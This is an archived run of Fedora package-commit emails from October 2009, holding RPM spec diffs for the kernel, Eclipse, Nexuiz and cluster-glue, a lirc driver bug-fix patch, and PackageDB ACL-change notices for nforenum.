diff -u -p -r1.1858 -r1.1859
--- kernel.spec	11 Oct 2009 13:37:45 -0000	1.1858
+++ kernel.spec	12 Oct 2009 14:14:14 -0000	1.1859
@@ -744,6 +744,9 @@ Patch14002: linux-2.6-raidlockdep.patch
 # make perf counter API available to userspace (#527264)
 Patch14010: perf-make-perf-counter-h-available-to-userspace.patch
 
+# Fix 2.6.31 regression that caused device failures with ACPI enabled.
+Patch14100: pci-increase-alignment-to-make-more-space.patch
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1387,6 +1390,9 @@ ApplyPatch linux-2.6-raidlockdep.patch
 # make perf counter API available to userspace (#527264)
 ApplyPatch perf-make-perf-counter-h-available-to-userspace.patch
 
+# Fix 2.6.31 regression that caused device failures with ACPI enabled.
+ApplyPatch pci-increase-alignment-to-make-more-space.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2043,6 +2049,9 @@ fi
 # and build.
 
 %changelog
+* Mon Oct 12 2009 Chuck Ebbert <cebbert at redhat.com>
+- Fix 2.6.31 regression that caused device failures with ACPI enabled.
+
 * Sun Oct 11 2009 Chuck Ebbert <cebbert at redhat.com>
 - Linux 2.6.31.4-rc2
 - Drop merged patch: linux-2.6-frace-fixes.patch



From akurtakov at fedoraproject.org  Mon Oct 12 14:15:59 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Mon, 12 Oct 2009 14:15:59 +0000 (UTC)
Subject: rpms/eclipse/devel sources, 1.84, 1.85 eclipse.spec, 1.676,
	1.677 eclipse-copy-platform.sh, 1.9,
	NONE ecf-filetransfer-build.properties, 1.1,
	NONE eclipse-pdebuild.sh, 1.13,
	NONE ecf-filetransfer-feature.xml, 1.3, NONE
Message-ID: <20091012141559.15E2B11C00DB@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/eclipse/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24612/devel

Modified Files:
	sources eclipse.spec 
Removed Files:
	eclipse-copy-platform.sh ecf-filetransfer-build.properties 
	eclipse-pdebuild.sh ecf-filetransfer-feature.xml 
Log Message:
New eclipse-build snapshot. Pdebuild and ecf compilation are part of it.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse/devel/sources,v
retrieving revision 1.84
retrieving revision 1.85
diff -u -p -r1.84 -r1.85
--- sources	8 Oct 2009 10:07:44 -0000	1.84
+++ sources	12 Oct 2009 14:15:58 -0000	1.85
@@ -1,2 +1,2 @@
 3ed7a1c9c13a73f6d7abc0b0305631e3  eclipse-R3_5_1-fetched-src.tar.bz2
-c02651bd19acc5bddec2e53dbc3e8820  eclipse-build-0.4.0RC0.tar.gz
+4b283c975b7c7b2894ef4de040f6b9c4  eclipse-build-0.4.0RC0.tar.gz


Index: eclipse.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse/devel/eclipse.spec,v
retrieving revision 1.676
retrieving revision 1.677
diff -u -p -r1.676 -r1.677
--- eclipse.spec	8 Oct 2009 11:00:54 -0000	1.676
+++ eclipse.spec	12 Oct 2009 14:15:58 -0000	1.677
@@ -10,7 +10,6 @@ Epoch:  1
 %define eclipse_minor   5
 %define eclipse_majmin  %{eclipse_major}.%{eclipse_minor}
 %define eclipse_micro   1
-%define swtver          3.5.1.v3555a
 %define initialize      1
 %global download_url    http://download.eclipse.org/technology/linuxtools/eclipse-build/
 
@@ -30,22 +29,16 @@ Epoch:  1
 Summary:        An open, extensible IDE
 Name:           eclipse
 Version:        %{eclipse_majmin}.%{eclipse_micro}
-Release:        5%{?dist}
+Release:        6%{?dist}
 License:        EPL
 Group:          Text Editors/Integrated Development Environments (IDE)
 URL:            http://www.eclipse.org/
 Source0:        %{download_url}eclipse-build-0.4.0RC0.tar.gz
 Source1:        %{download_url}eclipse-R3_5_1-fetched-src.tar.bz2
-Source16:       %{name}-copy-platform.sh
 Source17:       efj.sh.in
 # This file contains the types of files we'd like to extract from the jars
 # when using the FileInitializer
 Source19:       %{name}-filenamepatterns.txt
-# Script to wrap PDE Build calls for bundle builds
-Source21:       %{name}-pdebuild.sh
-# Create a simple feature for building ECF's filetransfer plugins
-Source26:       ecf-filetransfer-feature.xml
-Source27:       ecf-filetransfer-build.properties
 # This script copies the platform sub-set of the SDK for generating metadata
 Source28:       %{name}-mv-Platform.sh
 
@@ -128,9 +121,6 @@ SWT Library for GTK+-2.0.
 Summary:        Eclipse Rich Client Platform
 Group:          Development/Languages
 Requires:       %{name}-swt = %{epoch}:%{version}-%{release}
-# FIXME:  investigate.  Can we just add a %{arch} to the above?
-## This file-level requirement is for the bi-arch multilib case
-#Requires: %{_libdir}/%{name}/plugins/org.eclipse.swt.gtk.linux.%{eclipse_arch}_%{swtver}.jar
 Requires:       icu4j-eclipse >= 1:4.0.1-3
 Requires:       java >= 1.6.0
 
@@ -141,9 +131,6 @@ Eclipse Rich Client Platform
 Summary:        Eclipse platform common files
 Group:          Text Editors/Integrated Development Environments (IDE)
 Requires:   %{name}-rcp = %{epoch}:%{version}-%{release}
-# FIXME:  investigate.  Can we just add a %{arch} to the above?
-## This file-level requirement is for the bi-arch multilib case
-#Requires: %{_libdir}/%{name}/plugins/org.eclipse.swt.gtk.linux.%{eclipse_arch}_%{swtver}.jar
 Requires: ant-antlr ant-apache-bcel ant-apache-log4j ant-apache-oro ant-apache-regexp ant-apache-resolver ant-commons-logging ant-apache-bsf ant-commons-net
 Requires: ant-javamail ant-jdepend ant-junit ant-nodeps ant-swing ant-trax ant-jsch
 Requires: jakarta-commons-beanutils jakarta-commons-collections jakarta-commons-digester jakarta-commons-dbcp jakarta-commons-fileupload jakarta-commons-launcher jakarta-commons-modeler jakarta-commons-pool
@@ -477,56 +464,13 @@ if [ ! -z "$JARS" ]; then
    #FIXME: enable  exit 1
 fi
 
-# ECF filetransfer plugins
-pushd ecf-src
-mkdir -p plugins
-mv org.eclipse* plugins
-mkdir -p features/org.eclipse.ecf.filetransfer-feature
-pushd features/org.eclipse.ecf.filetransfer-feature
-cp -p %{SOURCE26} feature.xml
-cp -p %{SOURCE27} build.properties
-popd
-popd
-
 # target platform template patch
 %patch3 -p0
 popd
 
 %build
-ORIGCLASSPATH=$CLASSPATH
-export JAVA_HOME=%{java_home}
 ./build.sh
 
-SDK=$(cd build/eclipse-R3_5_1-fetched-src/installation && pwd)
-LAUNCHERVERSION=$(ls $SDK/plugins | grep equinox.launcher_ | sed 's/org.eclipse.equinox.launcher_//')
-PDEPLUGINVERSION=$(ls $SDK/plugins | grep pde.build_ | sed 's/org.eclipse.pde.build_//')
-pushd build/eclipse-R3_5_1-fetched-src/plugins/org.eclipse.equinox.initializer
-java -cp $SDK/plugins/org.eclipse.equinox.launcher_$LAUNCHERVERSION \
-      org.eclipse.core.launcher.Main \
-     -application org.eclipse.ant.core.antRunner       \
-     -f build.xml build.update.jar
-cp org.eclipse.equinox.initializer*.jar $SDK/plugins
-popd
-
-# Build the ECF filetransfer plugins
-pushd build/eclipse-R3_5_1-fetched-src/ecf-src
-mkdir -p build
-homedir=$(mkdir home| cd home|pwd)
-java -cp $SDK/plugins/org.eclipse.equinox.launcher_$LAUNCHERVERSION \
-     -Duser.home=$homedir                              \
-      org.eclipse.core.launcher.Main \
-     -application org.eclipse.ant.core.antRunner       \
-     -Dtype=feature                                    \
-     -Did=org.eclipse.ecf.filetransfer_feature                   \
-     -DsourceDirectory=$(pwd)                          \
-     -DbaseLocation=$SDK \
-     -DforceContextQualifier=v20090831-1906 \
-     -Dbuilder=$SDK/plugins/org.eclipse.pde.build_$PDEPLUGINVERSION/templates/package-build  \
-     -debug -consolelog \
-     -f $SDK/plugins/org.eclipse.pde.build_$PDEPLUGINVERSION/scripts/build.xml
-
-popd
-
 %install
 rm -rf $RPM_BUILD_ROOT
 # Get swt version
@@ -550,16 +494,7 @@ install -d -m 755 $RPM_BUILD_ROOT%{_libd
 install -d -m 755 $RPM_BUILD_ROOT%{_datadir}/%{name}/features
 install -d -m 755 $RPM_BUILD_ROOT%{_datadir}/%{name}/plugins
 
-# Explode the resulting SDK tarball
-cp -R build/eclipse-R3_5_1-fetched-src/installation/* $RPM_BUILD_ROOT%{_libdir}/eclipse
 rm -fr $RPM_BUILD_ROOT%{_libdir}/eclipse/p2
-# ECF filetransfer plugins we built
-rm $sdkDir/plugins/org.eclipse.ecf*.jar
-unzip -d $RPM_BUILD_ROOT%{_libdir} \
-  build/eclipse-R3_5_1-fetched-src/ecf-src/build/rpmBuild/org.eclipse.ecf.filetransfer_feature.zip
-# Remove the feature we used for building
-rm -rf \
-  $sdkDir/features/org.eclipse.ecf.filetransfer_feature_*
 
 LAUNCHERVERSION=$(ls $sdkDir/plugins | grep equinox.launcher_ | sed 's/org.eclipse.equinox.launcher_//')
 
@@ -809,7 +744,7 @@ desktop-file-install --vendor="fedora" \
 
 # Create a script that can be used to make a symlink tree of the
 # eclipse platform.
-cp -p %{SOURCE16} copy-platform
+cp -p pdebuild/eclipse-copy-platform.sh copy-platform
 (
   cd $RPM_BUILD_ROOT%{_libdir}/%{name}
   ls -d * | egrep -v '^(plugins|features|about_files|dropins)$'
@@ -836,7 +771,7 @@ sed --in-place "s|file\\\:%{_libdir}/ecl
   $RPM_BUILD_ROOT%{_libdir}/%{name}/configuration/config.ini
 
 # Install the PDE Build wrapper script.
-install -p -D -m0755 %{SOURCE21} \
+install -p -D -m0755 pdebuild/eclipse-pdebuild.sh \
   $RPM_BUILD_ROOT%{_libdir}/%{name}/buildscripts/pdebuild
 PDEBUILDVERSION=$(ls $RPM_BUILD_ROOT%{_libdir}/%{name}/dropins/sdk/plugins \
   | grep org.eclipse.pde.build_ | \
@@ -1228,6 +1163,9 @@ fi
 #%{_libdir}/%{name}/configuration/org.eclipse.equinox.source
 
 %changelog
+* Mon Oct 12 2009 Alexander Kurtakov <akurtako at redhat.com> 1:3.5.1-6
+- New eclipse-build snapshot. Pdebuild and ecf compilation are part of it.
+
 * Thu Oct 8 2009 Alexander Kurtakov <akurtako at redhat.com> 1:3.5.1-5
 - Fix install call.
 


--- eclipse-copy-platform.sh DELETED ---


--- ecf-filetransfer-build.properties DELETED ---


--- eclipse-pdebuild.sh DELETED ---


--- ecf-filetransfer-feature.xml DELETED ---



From limb at fedoraproject.org  Mon Oct 12 14:29:26 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Mon, 12 Oct 2009 14:29:26 +0000 (UTC)
Subject: rpms/nexuiz/devel .cvsignore, 1.15, 1.16 nexuiz.spec, 1.34,
	1.35 sources, 1.15, 1.16
Message-ID: <20091012142926.4869811C00DB@cvs1.fedora.phx.redhat.com>

Author: limb

Update of /cvs/pkgs/rpms/nexuiz/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27200

Modified Files:
	.cvsignore nexuiz.spec sources 
Log Message:
Update to 2.5.2, BZ 528356.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/nexuiz/devel/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	26 May 2009 19:07:25 -0000	1.15
+++ .cvsignore	12 Oct 2009 14:29:26 -0000	1.16
@@ -1 +1 @@
-enginesource20090501.zip
+enginesource20091001.zip


Index: nexuiz.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nexuiz/devel/nexuiz.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- nexuiz.spec	25 Jul 2009 19:16:41 -0000	1.34
+++ nexuiz.spec	12 Oct 2009 14:29:26 -0000	1.35
@@ -1,15 +1,15 @@
-%global dpver 20090501
+%global dpver 20091001
 
 Summary: Multiplayer, deathmatch oriented first person shooter
 Name: nexuiz
-Version: 2.5.1
-Release: 3%{?dist}
+Version: 2.5.2
+Release: 1%{?dist}
 License: GPLv2+
 Group: Amusements/Games
 URL: http://www.nexuiz.com/
 # Source is custom, obtained with :
-# wget http://downloads.sourceforge.net/nexuiz/nexuiz-251.zip
-# unzip -j nexuiz-251.zip Nexuiz/sources/enginesource20090501.zip
+# wget http://downloads.sourceforge.net/nexuiz/nexuiz-252.zip
+# unzip -j nexuiz-251.zip Nexuiz/sources/enginesource20091001.zip
 Source: enginesource%{dpver}.zip
 Source1: %{name}.desktop
 Source10: darkplaces-quake.sh
@@ -217,6 +217,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 
 
 %changelog
+* Mon Oct 12 2009 Jon Ciesla <limb at jcomserv.net> - 2.5.2-1
+- Update to 2.5.2, BZ 528356.
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.5.1-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/nexuiz/devel/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	26 May 2009 19:07:25 -0000	1.15
+++ sources	12 Oct 2009 14:29:26 -0000	1.16
@@ -1 +1 @@
-06e12ba8ac47f34a40eaf36e31cb6fee  enginesource20090501.zip
+aa4e586e58e1c35a5e3ed76cc9348fbd  enginesource20091001.zip



From beekhof at fedoraproject.org  Mon Oct 12 14:44:26 2009
From: beekhof at fedoraproject.org (Andrew Beekhof)
Date: Mon, 12 Oct 2009 14:44:26 +0000 (UTC)
Subject: rpms/cluster-glue/devel .cvsignore, 1.4, 1.5 cluster-glue.spec, 1.8,
	1.9 sources, 1.4, 1.5
Message-ID: <20091012144426.6914B11C00DB@cvs1.fedora.phx.redhat.com>

Author: beekhof

Update of /cvs/pkgs/rpms/cluster-glue/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29346

Modified Files:
	.cvsignore cluster-glue.spec sources 
Log Message:
Refresh from upstream sources


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cluster-glue/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	17 Aug 2009 14:40:40 -0000	1.4
+++ .cvsignore	12 Oct 2009 14:44:26 -0000	1.5
@@ -1 +1 @@
-d97b9dea436e.tar.bz2
+b79635605337.tar.bz2


Index: cluster-glue.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cluster-glue/devel/cluster-glue.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- cluster-glue.spec	9 Oct 2009 14:52:20 -0000	1.8
+++ cluster-glue.spec	12 Oct 2009 14:44:26 -0000	1.9
@@ -4,9 +4,9 @@
 
 # When downloading directly from Mercurial, it will automatically add this prefix
 # Invoking 'hg archive' wont but you can add one with: hg archive -t tgz -p "Reusable-Cluster-Components-" -r $upstreamversion $upstreamversion.tar.gz
-%global specversion 10
+%global specversion 11
 %global upstreamprefix Reusable-Cluster-Components-
-%global upstreamversion d97b9dea436e
+%global upstreamversion b79635605337
 
 # Keep around for when/if required
 %global alphatag %{upstreamversion}.hg
@@ -14,7 +14,7 @@
 Name:		cluster-glue
 Summary:	Reusable cluster components
 Version:	1.0
-Release:	%{?alphatag:0.}%{specversion}%{?alphatag:.%{alphatag}}%{?dist}.1
+Release:	%{?alphatag:0.}%{specversion}%{?alphatag:.%{alphatag}}%{?dist}
 License:	GPLv2+ and LGPLv2+
 Url:		http://www.clusterlabs.org
 Group:		System Environment/Base
@@ -31,6 +31,7 @@ Obsoletes:	heartbeat-pils < 3.0.0-1
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
 # Build dependencies
+Requires: perl-TimeDate
 BuildRequires: automake autoconf libtool pkgconfig chrpath libtool-ltdl-devel
 BuildRequires: bzip2-devel glib2-devel e2fsprogs-devel python-devel libxml2-devel
 BuildRequires: OpenIPMI-devel libnet-devel net-snmp-devel libcurl-devel openhpi-devel
@@ -107,6 +108,7 @@ standards, and an interface to common ST
 %{_datadir}/heartbeat/ha_cf_support.sh
 %{_datadir}/heartbeat/openais_conf_support.sh
 %{_datadir}/heartbeat/utillib.sh
+%{_datadir}/heartbeat/combine-logs.pl
 
 %dir %{_var}/lib/heartbeat
 %dir %{_var}/lib/heartbeat/cores
@@ -184,6 +186,28 @@ such as Pacemaker.
 %doc COPYING.LIB
 
 %changelog
+* Mon Oct 12 2009 Andrew Beekhof <andrew at beekhof.net> - 1.0-0.11.b79635605337.hg
+- Add install dependancy on perl-TimeDate for hb_report
+- Update to upstream version b79635605337
+  + Build: fix defines for pacemaker-pygui compatibility.
+  + High: Tools: hb_report: log/events combining
+  + High: doc: new README for wti_mpc
+  + High: hb_report: add man page hb_report.8
+  + High: hb_report: extract important events from the logs
+  + High: stonith: external/ibmrsa-telnet: add support for later RSA cards
+  + High: stonith: wti_mpc: support for MIB versions 1 and 3
+  + Logd: Start/stop priorities are not created by configure
+  + Med: sbd: Fix definition of size_t.
+  + Med: sbd: Nodename comparison should be case insensitive (bnc#534445)
+  + Med: wti_nps: add support for internet power switch model (bnc#539912)
+  + Medium (LF 2194): LRM: fix return code on RA exec failure
+  + Medium: Tools: hb_report: add -v option (debugging)
+  + Medium: Tools: hb_report: options -C and -D are obsoleted
+  + ha_logd: Fix a compile error/warning.
+  + hb_report: report corosync packages too.
+  + sbd: Accept -h (bnc#529574)
+  + sbd: really fix the sector_size type.
+
 * Fri Oct  9 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.0-0.10.d97b9dea436e.hg.1
 - rebuild with new net-snmp
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cluster-glue/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	17 Aug 2009 14:40:40 -0000	1.4
+++ sources	12 Oct 2009 14:44:26 -0000	1.5
@@ -1 +1 @@
-4983dda666e45a491933fc121a386bc3  d97b9dea436e.tar.bz2
+25c996c1a371e842dc3add2df593782f  b79635605337.tar.bz2



From akurtakov at fedoraproject.org  Mon Oct 12 14:48:50 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Mon, 12 Oct 2009 14:48:50 +0000 (UTC)
Subject: rpms/eclipse/devel eclipse.spec,1.677,1.678
Message-ID: <20091012144850.2306111C00DB@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/eclipse/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29793/devel

Modified Files:
	eclipse.spec 
Log Message:
- Put back JAVA_HOME.


Index: eclipse.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse/devel/eclipse.spec,v
retrieving revision 1.677
retrieving revision 1.678
diff -u -p -r1.677 -r1.678
--- eclipse.spec	12 Oct 2009 14:15:58 -0000	1.677
+++ eclipse.spec	12 Oct 2009 14:48:49 -0000	1.678
@@ -29,7 +29,7 @@ Epoch:  1
 Summary:        An open, extensible IDE
 Name:           eclipse
 Version:        %{eclipse_majmin}.%{eclipse_micro}
-Release:        6%{?dist}
+Release:        7%{?dist}
 License:        EPL
 Group:          Text Editors/Integrated Development Environments (IDE)
 URL:            http://www.eclipse.org/
@@ -469,6 +469,7 @@ fi
 popd
 
 %build
+export JAVA_HOME=%{java_home}
 ./build.sh
 
 %install
@@ -1163,6 +1164,9 @@ fi
 #%{_libdir}/%{name}/configuration/org.eclipse.equinox.source
 
 %changelog
+* Mon Oct 12 2009 Alexander Kurtakov <akurtako at redhat.com> 1:3.5.1-7
+- Put back JAVA_HOME.
+
 * Mon Oct 12 2009 Alexander Kurtakov <akurtako at redhat.com> 1:3.5.1-6
 - New eclipse-build snapshot. Pdebuild and ecf compilation are part of it.
 



From jwilson at fedoraproject.org  Mon Oct 12 14:51:35 2009
From: jwilson at fedoraproject.org (Jarod Wilson)
Date: Mon, 12 Oct 2009 14:51:35 +0000 (UTC)
Subject: rpms/kernel/F-12 kernel.spec, 1.1859, 1.1860 lirc-2.6.31.patch, 1.3,
	1.4
Message-ID: <20091012145135.891AF11C00DB@cvs1.fedora.phx.redhat.com>

Author: jwilson

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30142

Modified Files:
	kernel.spec lirc-2.6.31.patch 
Log Message:
* Mon Oct 12 2009 Jarod Wilson <jarod at redhat.com>
- Fix irq status check bugs in lirc_ene0100



Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1859
retrieving revision 1.1860
diff -u -p -r1.1859 -r1.1860
--- kernel.spec	12 Oct 2009 14:14:14 -0000	1.1859
+++ kernel.spec	12 Oct 2009 14:51:35 -0000	1.1860
@@ -2049,6 +2049,9 @@ fi
 # and build.
 
 %changelog
+* Mon Oct 12 2009 Jarod Wilson <jarod at redhat.com>
+- Fix irq status check bugs in lirc_ene0100
+
 * Mon Oct 12 2009 Chuck Ebbert <cebbert at redhat.com>
 - Fix 2.6.31 regression that caused device failures with ACPI enabled.
 

lirc-2.6.31.patch:
 MAINTAINERS                           |    9 
 drivers/input/Kconfig                 |    2 
 drivers/input/Makefile                |    2 
 drivers/input/lirc/Kconfig            |  119 +
 drivers/input/lirc/Makefile           |   21 
 drivers/input/lirc/lirc.h             |  100 +
 drivers/input/lirc/lirc_bt829.c       |  383 +++++
 drivers/input/lirc/lirc_dev.c         |  839 ++++++++++++
 drivers/input/lirc/lirc_dev.h         |  184 ++
 drivers/input/lirc/lirc_ene0100.c     |  644 +++++++++
 drivers/input/lirc/lirc_ene0100.h     |  169 ++
 drivers/input/lirc/lirc_i2c.c         |  537 +++++++
 drivers/input/lirc/lirc_igorplugusb.c |  556 ++++++++
 drivers/input/lirc/lirc_imon.c        | 2301 ++++++++++++++++++++++++++++++++++
 drivers/input/lirc/lirc_it87.c        |  986 ++++++++++++++
 drivers/input/lirc/lirc_it87.h        |  116 +
 drivers/input/lirc/lirc_ite8709.c     |  539 +++++++
 drivers/input/lirc/lirc_mceusb.c      | 1242 ++++++++++++++++++
 drivers/input/lirc/lirc_parallel.c    |  709 ++++++++++
 drivers/input/lirc/lirc_parallel.h    |   26 
 drivers/input/lirc/lirc_sasem.c       |  931 +++++++++++++
 drivers/input/lirc/lirc_serial.c      | 1316 +++++++++++++++++++
 drivers/input/lirc/lirc_sir.c         | 1283 ++++++++++++++++++
 drivers/input/lirc/lirc_streamzap.c   |  794 +++++++++++
 drivers/input/lirc/lirc_ttusbir.c     |  397 +++++
 drivers/input/lirc/lirc_zilog.c       | 1395 ++++++++++++++++++++
 26 files changed, 15600 insertions(+)

Index: lirc-2.6.31.patch
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/lirc-2.6.31.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- lirc-2.6.31.patch	3 Sep 2009 21:02:14 -0000	1.3
+++ lirc-2.6.31.patch	12 Oct 2009 14:51:35 -0000	1.4
@@ -1845,7 +1845,7 @@ index 0000000..e84368f
 +	if (dev->hw_revision < ENE_HW_C) {
 +		irq_status = ene_hw_read_reg(dev, ENEB_IRQ_STATUS);
 +
-+		if (!irq_status & ENEB_IRQ_STATUS_IR)
++		if (!(irq_status & ENEB_IRQ_STATUS_IR))
 +			return 0;
 +		ene_hw_write_reg(dev, ENEB_IRQ_STATUS,
 +				 irq_status & ~ENEB_IRQ_STATUS_IR);
@@ -1856,7 +1856,7 @@ index 0000000..e84368f
 +
 +	irq_status = ene_hw_read_reg(dev, ENEC_IRQ);
 +
-+	if (!irq_status && ENEC_IRQ_STATUS)
++	if (!(irq_status & ENEC_IRQ_STATUS))
 +		return 0;
 +
 +	/* original driver does that twice - a workaround ? */



From pkgdb at fedoraproject.org  Mon Oct 12 14:59:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 14:59:18 +0000
Subject: [pkgdb] nforenum had acl change status
Message-ID: <20091012145918.A87F710F86A@bastion2.fedora.phx.redhat.com>

heffer has set the watchbugzilla acl on nforenum (Fedora 10) to Approved for atorkhov

To make changes to this package see:
  /pkgdb/packages/name/nforenum



From pkgdb at fedoraproject.org  Mon Oct 12 14:59:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 14:59:20 +0000
Subject: [pkgdb] nforenum had acl change status
Message-ID: <20091012145920.4787510F882@bastion2.fedora.phx.redhat.com>

heffer has set the watchcommits acl on nforenum (Fedora 10) to Approved for atorkhov

To make changes to this package see:
  /pkgdb/packages/name/nforenum



From pkgdb at fedoraproject.org  Mon Oct 12 14:59:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 14:59:22 +0000
Subject: [pkgdb] nforenum had acl change status
Message-ID: <20091012145922.DFC2810F86A@bastion2.fedora.phx.redhat.com>

heffer has set the commit acl on nforenum (Fedora 10) to Approved for atorkhov

To make changes to this package see:
  /pkgdb/packages/name/nforenum



From pkgdb at fedoraproject.org  Mon Oct 12 14:59:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 14:59:25 +0000
Subject: [pkgdb] nforenum had acl change status
Message-ID: <20091012145925.6ABE410F8A4@bastion2.fedora.phx.redhat.com>

heffer has set the watchbugzilla acl on nforenum (Fedora 12) to Approved for atorkhov

To make changes to this package see:
  /pkgdb/packages/name/nforenum



From pkgdb at fedoraproject.org  Mon Oct 12 14:59:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 14:59:27 +0000
Subject: [pkgdb] nforenum had acl change status
Message-ID: <20091012145927.ECE7210F889@bastion2.fedora.phx.redhat.com>

heffer has set the watchcommits acl on nforenum (Fedora 12) to Approved for atorkhov

To make changes to this package see:
  /pkgdb/packages/name/nforenum



From pkgdb at fedoraproject.org  Mon Oct 12 14:59:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 14:59:30 +0000
Subject: [pkgdb] nforenum had acl change status
Message-ID: <20091012145932.1EC0210F8A3@bastion2.fedora.phx.redhat.com>

heffer has set the commit acl on nforenum (Fedora 12) to Approved for atorkhov

To make changes to this package see:
  /pkgdb/packages/name/nforenum



From pkgdb at fedoraproject.org  Mon Oct 12 14:59:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 14:59:34 +0000
Subject: [pkgdb] nforenum had acl change status
Message-ID: <20091012145934.1311F10F889@bastion2.fedora.phx.redhat.com>

heffer has set the watchbugzilla acl on nforenum (Fedora 11) to Approved for atorkhov

To make changes to this package see:
  /pkgdb/packages/name/nforenum



From pkgdb at fedoraproject.org  Mon Oct 12 14:59:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 14:59:35 +0000
Subject: [pkgdb] nforenum had acl change status
Message-ID: <20091012145935.AB71710F8A9@bastion2.fedora.phx.redhat.com>

heffer has set the watchcommits acl on nforenum (Fedora 11) to Approved for atorkhov

To make changes to this package see:
  /pkgdb/packages/name/nforenum



From pkgdb at fedoraproject.org  Mon Oct 12 14:59:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 14:59:38 +0000
Subject: [pkgdb] nforenum had acl change status
Message-ID: <20091012145938.AC75A10F8A3@bastion2.fedora.phx.redhat.com>

heffer has set the commit acl on nforenum (Fedora 11) to Approved for atorkhov

To make changes to this package see:
  /pkgdb/packages/name/nforenum



From pkgdb at fedoraproject.org  Mon Oct 12 14:59:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 14:59:43 +0000
Subject: [pkgdb] nforenum had acl change status
Message-ID: <20091012145943.8D08F10F889@bastion2.fedora.phx.redhat.com>

heffer has set the commit acl on nforenum (Fedora devel) to Approved for atorkhov

To make changes to this package see:
  /pkgdb/packages/name/nforenum



From pkgdb at fedoraproject.org  Mon Oct 12 14:59:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 14:59:47 +0000
Subject: [pkgdb] nforenum had acl change status
Message-ID: <20091012145947.E80FE10F88B@bastion2.fedora.phx.redhat.com>

heffer has set the watchcommits acl on nforenum (Fedora devel) to Approved for atorkhov

To make changes to this package see:
  /pkgdb/packages/name/nforenum



From pkgdb at fedoraproject.org  Mon Oct 12 14:59:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 14:59:50 +0000
Subject: [pkgdb] nforenum had acl change status
Message-ID: <20091012145950.6EC4F10F875@bastion2.fedora.phx.redhat.com>

heffer has set the watchbugzilla acl on nforenum (Fedora devel) to Approved for atorkhov

To make changes to this package see:
  /pkgdb/packages/name/nforenum



From wwoods at fedoraproject.org  Mon Oct 12 15:00:29 2009
From: wwoods at fedoraproject.org (Will Woods)
Date: Mon, 12 Oct 2009 15:00:29 +0000 (UTC)
Subject: rpms/preupgrade/F-11 preupgrade-1.1.1-fix-progress-page-typo.patch, 
	NONE, 1.1 preupgrade.spec, 1.19, 1.20
Message-ID: <20091012150029.255C211C02A1@cvs1.fedora.phx.redhat.com>

Author: wwoods

Update of /cvs/pkgs/rpms/preupgrade/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32617

Modified Files:
	preupgrade.spec 
Added Files:
	preupgrade-1.1.1-fix-progress-page-typo.patch 
Log Message:
Typo fix for 526208

preupgrade-1.1.1-fix-progress-page-typo.patch:
 preupgrade-gtk.py |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE preupgrade-1.1.1-fix-progress-page-typo.patch ---
